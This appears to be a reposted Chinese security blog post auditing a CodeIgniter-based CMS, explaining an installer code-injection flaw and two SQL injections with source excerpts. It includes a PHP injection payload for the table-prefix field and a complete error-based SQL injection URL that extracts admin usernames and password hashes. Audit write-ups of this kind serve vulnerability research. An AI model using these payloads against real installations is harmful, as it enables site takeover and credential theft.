记一次某Cms的审计(记一次活动作文)
ccwgpt 2024-09-26 08:08 29 浏览 0 评论
Aug 18, 2017
本文简述一下对一个采用了开源框架的cms的审计过程。
- 0x00 前言
- 0x01 第一弹 安装程序Getshell
- 0x02 后台SQL注入
- 0x03 前台SQL注入
- 0x04 总结
0x00 前言
此套cms采用了CI框架,之前在做漏洞平台的时候也是用的这个框架开发。
CodeIgniter 是一个小巧但功能强大的 PHP 框架,作为一个简单而“优雅”的工具包,它可以为开发者们建立功能完善的 Web 应用程序。
文章写的比较急,以后再补充……
0x01 第一弹 安装程序Getshell
首先我们一般都是在安装的时候,看看有没有重装的可能性,粗略的看了一下代码并没有,但是存在一个有趣的安装getshell问题。
CI框架的数据库配置在:config\database.php,其常见内容如下:
<?php
if (!defined('BASEPATH')) exit('No direct script access allowed');
$active_group = 'default';
$query_builder = TRUE;
$db['default'] = array(
'dsn' => '',
'hostname' => 'localhost',
'username' => 'root',
'password' => 'root',
'port' => '3306',
'database' => 'xxxxx',
'dbdriver' => 'mysqli',
'dbprefix' => 'dr_',
'pconnect' => FALSE,
'db_debug' => true,
'cache_on' => FALSE,
'cachedir' => 'cache/sql/',
'char_set' => 'utf8',
'dbcollat' => 'utf8_general_ci',
'swap_pre' => '',
'autoinit' => FALSE,
'encrypt' => FALSE,
'compress' => FALSE,
'stricton' => FALSE,
'failover' => array(),
);
安装界面:
然后找到这个界面对应的代码 diy\dayrui\controllers\Install.php:
<?php
/**
* 安装程序
*/
public function index() {
$step = max(1, (int)$this->input->get('step'));
switch ($step) {
case 1:
break;
case 2:
$check_pass = true;
$writeAble = $this->_checkFileRight();
$lowestEnvironment = $this->_getLowestEnvironment();
$currentEnvironment = $this->_getCurrentEnvironment();
$recommendEnvironment = $this->_getRecommendEnvironment();
foreach ($currentEnvironment as $key => $value) {
if (false !== strpos($key, '_ischeck') && false === $value) {
$check_pass = false;
}
}
foreach ($writeAble as $value) {
if (false === $value) {
$check_pass = false;
}
}
$this->template->assign(array(
'writeAble' => $writeAble,
'check_pass' => $check_pass,
'lowestEnvironment' => $lowestEnvironment,
'currentEnvironment' => $currentEnvironment,
'recommendEnvironment' => $recommendEnvironment,
));
break;
case 3:
if ($_POST) {
$data = $this->input->post('data');
// 数据库支持判断
$mysqli = function_exists('mysqli_init') ? mysqli_init() : 0;
if (version_compare(PHP_VERSION, '5.5.0') >= 0 && !$mysqli) {
exit(dr_json(0, '您的PHP环境必须启用Mysqli扩展'));
}
// 参数判断
if (!preg_match('/^[\x7f-\xff\dA-Za-z\.\_]+$/', $data['admin'])) {
exit(dr_json(0, '管理员账号格式不正确'));
}
if (!$data['password']) {
exit(dr_json(0, '管理员密码不能为空'));
}
if (!$data['dbname']) {
exit(dr_json(0, '数据库名称不能为空'));
}
if (is_numeric($data['dbname'])) {
exit(dr_json(0, '数据库名称不能是数字'));
}
if (strpos($data['dbname'], '.') !== false) {
exit(dr_json(0, '数据库名称不能存在.号'));
}
$this->load->helper('email');
if (!$data['email'] || !valid_email($data['email'])) {
exit(dr_json(0, 'Email格式不正确'));
}
if ($mysqli) {
if (!@mysqli_real_connect($mysqli, $data['dbhost'], $data['dbuser'], $data['dbpw'])) {
exit(dr_json(0, '[mysqli_real_connect] 无法连接到数据库服务器('.$data['dbhost'].'),请检查用户名('.$data['dbuser'].')和密码('.$data['dbpw'].')是否正确'));
}
if (!@mysqli_select_db($mysqli, $data['dbname'])) {
if (!@mysqli_query($mysqli, 'CREATE DATABASE '.$data['dbname'])) {
exit(dr_json(0, '指定的数据库('.$data['dbname'].')不存在,系统尝试创建失败,请通过其他方式建立数据库'));
}
}
// utf8方式打开数据库
mysqli_query($mysqli, 'SET NAMES utf8');
} else {
if (!@mysql_connect($data['dbhost'], $data['dbuser'], $data['dbpw'])) {
exit(dr_json(0, mysql_error().'<br>无法连接到数据库服务器('.$data['dbhost'].'),请检查用户名('.$data['dbuser'].')和密码('.$data['dbpw'].')是否正确'));
}
if (!@mysql_select_db($data['dbname'])) {
if (!@mysql_query('CREATE DATABASE '.$data['dbname'])) {
exit(dr_json(0, mysql_error().'<br>指定的数据库('.$data['dbname'].')不存在,系统尝试创建失败,请通过其他方式建立数据库'));
}
}
// utf8方式打开数据库
mysql_query('SET NAMES utf8');
}
// 格式化端口
list($data['dbhost'], $data['dbport']) = explode(':', $data['dbhost']);
$data['dbport'] = $data['dbport'] ? (int)$data['dbport'] : 3306;
$data['dbprefix'] = $data['dbprefix'] ? $data['dbprefix'] : 'dr_'; // 这个变量可控
// 配置文件
$config = "<?php".PHP_EOL.PHP_EOL;
$config.= "if (!defined('BASEPATH')) exit('No direct script access allowed');".PHP_EOL.PHP_EOL;
$config.= "\$active_group = 'default';".PHP_EOL;
$config.= "\$query_builder = TRUE;".PHP_EOL.PHP_EOL;
$config.= "\$db['default'] = array(".PHP_EOL;
$config.= " 'dsn' => '',".PHP_EOL;
$config.= " 'hostname' => '{$data['dbhost']}',".PHP_EOL;
$config.= " 'username' => '{$data['dbuser']}',".PHP_EOL;
$config.= " 'password' => '{$data['dbpw']}',".PHP_EOL;
$config.= " 'port' => '{$data['dbport']}',".PHP_EOL;
$config.= " 'database' => '{$data['dbname']}',".PHP_EOL;
$config.= " 'dbdriver' => '".($mysqli ? 'mysqli' : 'mysql')."',".PHP_EOL;
$config.= " 'dbprefix' => '{$data['dbprefix']}',".PHP_EOL;
$config.= " 'pconnect' => FALSE,".PHP_EOL;
$config.= " 'db_debug' => true,".PHP_EOL;
$config.= " 'cache_on' => FALSE,".PHP_EOL;
$config.= " 'cachedir' => 'cache/sql/',".PHP_EOL;
$config.= " 'char_set' => 'utf8',".PHP_EOL;
$config.= " 'dbcollat' => 'utf8_general_ci',".PHP_EOL;
$config.= " 'swap_pre' => '',".PHP_EOL;
$config.= " 'autoinit' => FALSE,".PHP_EOL;
$config.= " 'encrypt' => FALSE,".PHP_EOL;
$config.= " 'compress' => FALSE,".PHP_EOL;
$config.= " 'stricton' => FALSE,".PHP_EOL;
$config.= " 'failover' => array(),".PHP_EOL;
$config.= ");".PHP_EOL;
// 保存配置文件
if (!file_put_contents(WEBPATH.'config/database.php', $config)) {
exit(dr_json(0, '数据库配置文件保存失败,请检查文件config/database.php权限!'));
}
// 加载数据库
$this->load->database();
$salt = substr(md5(rand(0, 999)), 0, 10);
$password = md5(md5($data['password']).$salt.md5($data['password']));
// 导入表结构
$this->_query(str_replace(
array('{dbprefix}', '{username}', '{password}', '{salt}', '{email}'),
array($this->db->dbprefix, $data['admin'], $password, $salt, $data['email']),
file_get_contents(WEBPATH.'cache/install/install.sql')
));
// 导入会员菜单数据
$this->_query(str_replace(
'{dbprefix}',
$this->db->dbprefix,
file_get_contents(WEBPATH.'cache/install/member_menu.sql')
));
// 系统配置文件
$this->load->model('system_model');
$config = array(
'SYS_LOG' => 'FALSE',
'SYS_KEY' => 'poscms'.md5(time()),
'SYS_DEBUG' => 'FALSE',
'SYS_HELP_URL' => '',
'SYS_EMAIL' => $data['email'],
'SYS_MEMCACHE' => 'FALSE',
'SYS_UPLOAD_DIR' => SYS_UPLOAD_DIR,
'SYS_CRON_QUEUE' => 0,
'SYS_CRON_NUMS' => 20,
'SYS_CRON_TIME' => 300,
'SYS_ONLINE_NUM' => 1000,
'SYS_ONLINE_TIME' => 7200,
'SYS_NAME' => 'POSCMS',
'SYS_NEWS' => 'TRUE',
'SYS_CMS' => 'POSCMS',
'SYS_UPDATE' => 1,
'SITE_EXPERIENCE' => '经验值',
'SITE_SCORE' => '虚拟币',
'SITE_MONEY' => '金钱',
'SITE_CONVERT' => 10,
'SITE_ADMIN_CODE' => 'FALSE',
'SITE_ADMIN_PAGESIZE' => 8,
'SYS_CACHE_INDEX' => 300,
'SYS_CACHE_MINDEX' => 300,
'SYS_CACHE_MSHOW' => 300,
'SYS_CACHE_MSEARCH' => 300,
'SYS_CACHE_SITEMAP' => 300,
'SYS_CACHE_LIST' => 300,
'SYS_CACHE_MEMBER' => 300,
'SYS_CACHE_ATTACH' => 300,
'SYS_CACHE_FORM' => 300,
'SYS_CACHE_POSTER' => 300,
'SYS_CACHE_SPACE' => 300,
'SYS_CACHE_TAG' => 300,
);
$this->system_model->save_config($config, $config);
// 站点配置文件
$this->load->model('site_model');
$this->load->library('dconfig');
if (is_file(WEBPATH.'config/site/1.php')) {
$config = require WEBPATH.'config/site/1.php';
}
$config['SITE_THEME'] = $config['SITE_TEMPLATE'] = 'default';
$config['SITE_DOMAIN'] = $config['SITE_ATTACH_HOST'] = $config['SITE_ATTACH_URL'] = strtolower($_SERVER['HTTP_HOST']);
$site = array(
'name' => 'POSCMS',
'domain' => strtolower($_SERVER['HTTP_HOST']),
'setting' => $config,
);
$this->site_model->add_site($site);
$this->dconfig->file(WEBPATH.'config/site/1.php')->note('站点配置文件')->space(32)->to_require_one($this->site_model->config, $config);
// 初始化菜单
$this->load->model('menu_model');
$this->menu_model->init();
// 导入默认数据
$this->_query(str_replace(
array('{dbprefix}', '{site_url}'),
array($this->db->dbprefix, 'http://'.strtolower($_SERVER['HTTP_HOST'])),
file_get_contents(WEBPATH.'cache/install/default.sql')
));
exit(dr_json(1, dr_url('install/index', array('step' => $step + 1))));
}
break;
case 4:
$log = array();
$sql = file_get_contents(WEBPATH.'cache/install/install.sql');
preg_match_all('/`\{dbprefix\}(.+)`/U', $sql, $match);
if ($match) {
$log = array_unique($match[1]);
}
$this->template->assign(array(
'log' => implode('<finecms>', $log),
));
break;
case 5:
file_put_contents(WEBPATH.'cache/install.lock', time());
file_put_contents(WEBPATH.'cache/install.new', time());
break;
}
$this->template->assign(array(
'step' => $step,
));
$this->template->display('install_'.$step.'.html', 'admin');
}
然后定位到$data['dbprefix']是可控的,也就是数据库的表前缀,前面的数据库配置文件内容以及交代清楚,接下来构造一个POC: ','x'=>file_put_contents('s.txt','ss'),'b'=>'b
这个POC是在数组中的,会在网站根目录新建一个s.txt内容为ss,在PHP的数组里,你可以放eval等字符,但是这个database.php是不能直接访问的,因为if (!defined('BASEPATH')) exit('No direct script access allowed');这一句是判断是否是框架初始化后加载此文件,否则就不再继续向下运行,好像这种思路都是框架常用的办法。
0x02 后台SQL注入
第二处是在后台的某处搜索上,这个Input是一个日期输入框,但是不是原生的Input。
我们抓包看看请求:
控制器文件位于:diy\module\member\controllers\admin\Home.php
<?php
/**
* 经验值
*/
public function experience() {
$this->_experience();
$uid = (int)$this->input->get('uid');
print_r($this->input);
// 根据参数筛选结果
$param = array('uid' => $uid, 'type' => 0);
$this->input->get('search') && $param['search'] = 1;
// 数据库中分页查询
list($data, $param) = $this->score_model->limit_page($param, max((int)$this->input->get('page'), 1), (int)$this->input->get('total'));
$param['uid'] = $uid;
$_param = $this->input->get('search') ? $this->cache->file->get($this->score_model->cache_file) : $this->input->post('data');
$_param = $_param ? $param + $_param : $param;
$this->template->assign(array(
'list' => $data,
'name' => SITE_EXPERIENCE,
'param' => $_param,
'pages' => $this->get_pagination(dr_url('member/home/experience', $param), $param['total'])
));
$this->template->display('score_index.html');
}
Model文件:diy\module\member\models\Score_model.php
<?php
/*
* 条件查询
*
* @param object $select 查询对象
* @param array $param 条件参数
* @return array
*/
private function _where(&$select, $param) {
$_param = array();
$this->cache_file = md5($this->duri->uri(1).$this->uid.SITE_ID.$this->input->ip_address().$this->input->user_agent()); // 缓存文件名称
// 存在POST提交时,重新生成缓存文件
if (IS_POST) {
$data = $this->input->post('data'); //这里就没有过滤
$this->cache->file->save($this->cache_file, $data, 3600);
$param['search'] = 1;
}
// 存在search参数时,读取缓存文件
if ($param['search'] == 1) {
$data = $this->cache->file->get($this->cache_file);
$_param['search'] = 1;
isset($data['start']) && $data['start'] && $data['start'] != $data['end'] && $select->where('inputtime BETWEEN '.$data['start'].' AND '. $data['end']);
}
$select->where('type', $param['type']);
$select->where('uid', $param['uid']);
$_param['uid'] = $data['uid'];
return $_param;
}
故此出现了一个注入点:
0x03 前台SQL注入
文件位置:diy\module\member\controllers\Account.php,约:757行左右,出现一处变量未过滤的情况。
<?php
/**
* 附件管理
*/
public function attachment() {
$ext = dr_safe_replace($this->input->get('ext'));
$table = $this->input->get('module'); // 这个变量没有过滤
$this->load->model('attachment_model');
$page = max((int)$this->input->get('page'), 1);
// 检测可管理的模块
$module = array();
$modules = $this->get_cache('module', SITE_ID);
if ($modules) {
foreach ($modules as $dir) {
$mod = $this->get_cache('module-'.SITE_ID.'-'.$dir);
$this->_module_post_catid($mod, $this->markrule) && $module[$dir] = $mod['name'];
}
}
// 查询结果
list($total, $data) = $this->attachment_model->limit($this->uid, $page, $this->pagesize, $ext, $table);
$acount = $this->get_cache('member', 'setting', 'permission', $this->markrule, 'attachsize');
$acount = $acount ? $acount : 1024000;
$ucount = $this->db->select('sum(`filesize`) as total')->where('uid', (int)$this->uid)->limit(1)->get('attachment')->row_array();
$ucount = (int)$ucount['total'];
$acount = $acount * 1024 * 1024;
$scount = max($acount - $ucount, 0);
$this->template->assign(array(
'ext' => $ext,
'list' => $data,
'table' => $table,
'module' => $module,
'acount' => $acount,
'ucount' => $ucount,
'scount' => $scount,
'pages' => $this->get_member_pagination(dr_member_url($this->router->class.'/'.$this->router->method, array('ext' => $ext)), $total),
'page_total' => $total,
));
$this->template->display('account_attachment_list.html');
}
dr_safe_replace函数:
<?php
/**
* 安全过滤函数
*
* @param $string
* @return string
*/
function dr_safe_replace($string) {
$string = str_replace('%20', '', $string);
$string = str_replace('%27', '', $string);
$string = str_replace('%2527', '', $string);
$string = str_replace('*', '', $string);
$string = str_replace('"', '"', $string);
$string = str_replace("'", '', $string);
$string = str_replace('"', '', $string);
$string = str_replace(';', '', $string);
$string = str_replace('<', '<', $string);
$string = str_replace('>', '>', $string);
$string = str_replace("{", '', $string);
$string = str_replace('}', '', $string);
return $string;
}
可见调用这个方法还是有用的,但是在官方代码中,module并没有过滤。
于是根据数据库结构构造EXP……
index.php?s=member&c=account&m=attachment&module=&ext=pa&module=d%" and(select 1 from(select count(*),concat((select (select (SELECT distinct concat('[',username,0x3a,password,'] by Coralab') FROM dr_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- x
是不是看的很舒服? 哈哈,这个基于框架的CMS漏洞还是很多的,抽空继续看,下班了、
0x04 总结
框架中有很多过滤方法,但是开发人员并没有调用它们,虽说Module和Controller分开写没错,但是这个CMS目录结构很散,要不是我之前开发过漏洞平台,也许是看不懂它的加载的……没错,我现在也看不懂。挖掘SQL注入我主要是寻找数据库驱动,然后在query函数体内打印SQL语句,是不是很生猛
相关推荐
- 用Deepseek扩写土木工程毕业论文实操指南
-
用Deepseek扩写毕业论文实操指南一、前期准备整理现有论文初稿/提纲列清楚论文核心框架(背景、现状、意义、方法、数据、结论等)梳理好关键文献,明确核心技术路线二、Deepseek扩写核心思路...
- 985学霸亲授,DeepSeek也能绘6大科研图表,5分钟就出图
-
在实验数据处理中,高效可视化是每个科研人的必修课。传统绘图软件操作复杂、耗时费力,而智能工具DeepSeek的出现彻底改变了这一现状。本文将详解如何用DeepSeek一键生成六大科研常用图表,从思维导...
- AI写论文刷屏?大学生正在丢掉的思考力
-
一、宿舍深夜:当论文变成"Ctrl+C+V"凌晨两点的大学宿舍,小王对着电脑屏幕叹气。本该三天前开始写的近代史论文,此刻还一片空白。他熟练打开某AI写作网站,输入"论五四运动的...
- Grok在辅助论文写作上能不能既“聪明”又“可怕”?!
-
AcademicIdeas-学境思源AI初稿写作随着人工智能技术的飞速发展,论文写作这一学术任务正迎来新的助力。2025年2月18日,美国xAI公司推出了备受瞩目的Grok3模型,其创始人埃隆·...
- 大四论文沟通场景!音频转文字难题听脑AI来化解
-
大四学生都知道,写论文时和导师沟通修改意见,简直是“过关斩将”。电话、语音沟通完,想把导师说的修改方向、重点要求记下来,麻烦事儿可不少。手写记不全,用普通录音转文字工具,转完还得自己慢慢找重点,稍不注...
- 论文写作 | 技术路线图怎么画?(提供经典优秀模板参考)
-
技术路线图是一种图表或文字说明,用于描述研究目标、方法和实施计划。它展示了研究的整体框架和步骤,有助于读者理解研究的逻辑和进展。在课题及论文中,技术路线图是常见的一部分,甚至是一个类似心脏一样的中枢器...
- 25年信息系统项目管理师考试第2批论文题目写作建议思路框架
-
25年信息系统项目管理师考试第2批论文题目写作建议思路框架--马军老师
- 微信购物应尽快纳入法律框架(微信购物管辖)
-
符向军近日,甘肃省工商行政管理局发布《2016年上半年信息分析报告》。报告显示,微信网购纠纷迅猛增长,网络购物投诉呈上升趋势。投诉的主要问题有出售的商品质量不过关、消费者通过微信付款后对方不发货、购买...
- 泛珠三角区域网络媒体与腾讯微信签署《战略合作框架协议》
-
新海南客户端、南海网7月14日消息(记者任桐)7月14日上午,参加第四届泛珠三角区域合作网络媒体论坛的区域网络媒体负责人及嘉宾一行到腾讯微信总部座谈交流,并签署《战略合作框架协议》(以下简称《框架协...
- 离线使用、植入微信-看乐心Mambo手环如何打破框架
-
从2014年开始智能手环就成功进入人们的生活,至今已经演变出数据监测、信息推送、心率监测等诸多五花八门的功能,人们选择智能手环并不指望其能够改变身体健康情况,更多的是通过数据来正视自身运动情况和身体健...
- 华专网络:如何零基础制作一个网站出来?
-
#如何零基础制作一个网站出来?#你是不是觉得网站建设很复杂,觉得自己是小白,需求不明确、流程搞不懂、怕被外包公司坑……这些问题我都懂!今天华专网络就用大白话给你捋清楚建站的全流程,让你轻松get网站制...
- WAIC2024丨明日上午9点,不见不散!共同探讨智能社会与全球治理框架
-
大咖云集,硕果闪耀WAIC2024世界人工智能大会智能社会论坛将于7月5日9:00-12:00与你相约直播间WAIC2024上海杨浦同济大学哔哩哔哩多平台同步直播探讨智能社会与全球治理框架WAIC...
- 约基奇:森林狼换来戈贝尔时大家都在嘲笑 他们的阵容框架很不错
-
直播吧5月4日讯西部季后赛半决赛,掘金将迎战森林狼,约基奇赛前接受采访。约基奇说道:“当蒂姆-康纳利(森林狼总经理、前掘金总经理&曾选中约基奇)做了那笔交易(换来戈贝尔)时,每个人都在嘲笑他...
- 视频号带货为什么一个流量都没有?顶级分析框架送给你
-
视频号带货为什么一个流量都没有?遇到问题,一定是步步来分析内容,视频号带货一个流量都没有,用另外一个意思来讲,就可以说是零播放。为什么视频号带货一个流量都没有?跟你说再多,都不如来个分析框架。1、是否...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- MVC框架 (46)
- spring框架 (46)
- 框架图 (58)
- flask框架 (53)
- quartz框架 (51)
- abp框架 (47)
- jpa框架 (47)
- laravel框架 (46)
- springmvc框架 (49)
- 分布式事务框架 (65)
- scrapy框架 (56)
- shiro框架 (61)
- 定时任务框架 (56)
- java日志框架 (61)
- JAVA集合框架 (47)
- grpc框架 (55)
- ppt框架 (48)
- 内联框架 (52)
- winform框架 (46)
- gui框架 (44)
- cad怎么画框架 (58)
- ps怎么画框架 (47)
- ssm框架实现登录注册 (49)
- oracle字符串长度 (48)
- oracle提交事务 (47)